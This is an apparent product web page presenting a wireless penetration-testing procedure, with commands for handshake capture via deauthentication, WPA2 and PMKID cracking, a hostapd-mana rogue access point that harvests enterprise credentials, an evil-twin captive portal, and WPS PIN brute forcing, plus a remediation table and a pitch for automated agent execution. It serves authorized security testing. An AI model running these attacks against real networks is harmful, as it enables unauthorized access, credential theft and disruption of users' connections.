CG
SkillsPerforming Wireless Network Penetration Test
Start Free
Back to Skills Library
Penetration Testing🟡 Intermediate

Performing Wireless Network Penetration Test

Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2/WPA3 keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.

4 min read9 code examples

Prerequisites

  • Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
  • Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
  • Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
  • Physical proximity to target wireless networks
  • GPS receiver for mapping (optional)

Performing Wireless Network Penetration Test

Overview

Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.

Prerequisites

  • Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
  • Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
  • Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
  • Physical proximity to target wireless networks
  • GPS receiver for mapping (optional)

Phase 1 — Wireless Reconnaissance

Enable Monitor Mode

# Check wireless interfaces
iwconfig
airmon-ng

# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon

# Verify monitor mode
iwconfig wlan0mon

Passive Scanning

# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan

# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan

# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan

# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501

Network Inventory

SSIDBSSIDChannelEncryptionClientsSignal
CorpWiFiAA:BB:CC:DD:EE:016WPA2-Enterprise45-55dBm
CorpGuestAA:BB:CC:DD:EE:0211WPA2-PSK12-60dBm
PrinterNetAA:BB:CC:DD:EE:031WEP3-70dBm
HiddenSSIDAA:BB:CC:DD:EE:0436WPA2-PSK8-65dBm

Phase 2 — WPA2-PSK Attack

Capture 4-Way Handshake

# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output

Crack WPA2 Key

# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

Phase 3 — WPA2-Enterprise Attack

# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt

Phase 4 — Evil Twin Attack

# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon

# Within Bettercap:
wifi.recon on
wifi.ap

# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1

# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon

Phase 5 — Additional Tests

Rogue AP Detection

# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs

# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings

Client Isolation Testing

# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24

# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24

# Test VLAN hopping
# If guest network is not properly segmented from corporate

WPS Attack

# Check for WPS-enabled APs
wash -i wlan0mon

# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv

# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv

Findings Template

FindingSeverityCVSSRemediation
WPA2-PSK with weak passphraseHigh8.1Use 20+ char passphrase or migrate to WPA2-Enterprise
WEP encryption on printer networkCritical9.1Upgrade to WPA2/WPA3, segment printer VLAN
WPS enabled on guest APMedium5.3Disable WPS on all access points
No client isolation on guestHigh7.5Enable AP isolation and VLAN segmentation
Corporate SSID broadcasts on rogue APHigh8.1Deploy WIDS/WIPS, implement 802.1X with cert validation
EAP-MSCHAP without cert pinningHigh7.5Enforce server certificate validation on all clients

Verification Criteria

Confirm successful execution by validating:

  • [ ] All prerequisite tools and access requirements are satisfied
  • [ ] Each workflow step completed without errors
  • [ ] Output matches expected format and contains expected data
  • [ ] No security warnings or misconfigurations detected
  • [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
  • ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
  • NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
  • NIST CSF: ID.RA (Risk Assessment)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add performing-wireless-network-penetration-test

# Or load dynamically via MCP
grc.load_skill("performing-wireless-network-penetration-test")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

References

  • Aircrack-ng Documentation: https://www.aircrack-ng.org/doku.php
  • CISA Aircrack-ng: https://www.cisa.gov/resources-tools/services/aircrack-ng
  • WiFi Alliance WPA3 Specification: https://www.wi-fi.org/discover-wi-fi/security
  • NIST SP 800-153: Guidelines for Securing WLANs
  • Hashcat WPA modes: https://hashcat.net/wiki/doku.php?id=example_hashes

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add performing-wireless-network-penetration-test
// Or via MCP
grc.load_skill("performing-wireless-network-penetration-test")

Tags

wireless-pentestWiFiAircrack-ngWPA2WPA3rogue-APevil-twin802.11

Related Skills

Penetration Testing

Conducting Wireless Network Penetration Test

6m·intermediate
Penetration Testing

Conducting API Security Testing

7m·intermediate
Penetration Testing

Conducting Cloud Infrastructure Penetration Test

4m·intermediate
Penetration Testing

Conducting External Reconnaissance with OSINT

7m·intermediate
Penetration Testing

Conducting Internal Network Penetration Test

5m·intermediate
Penetration Testing

Conducting Mobile App Penetration Test

7m·intermediate

Skill Details

Domain
Penetration Testing
Difficulty
intermediate
Read Time
4 min
Code Examples
9

On This Page

OverviewPrerequisitesPhase 1 — Wireless ReconnaissancePhase 2 — WPA2-PSK AttackPhase 3 — WPA2-Enterprise AttackPhase 4 — Evil Twin AttackPhase 5 — Additional TestsFindings TemplateReferencesVerification CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free →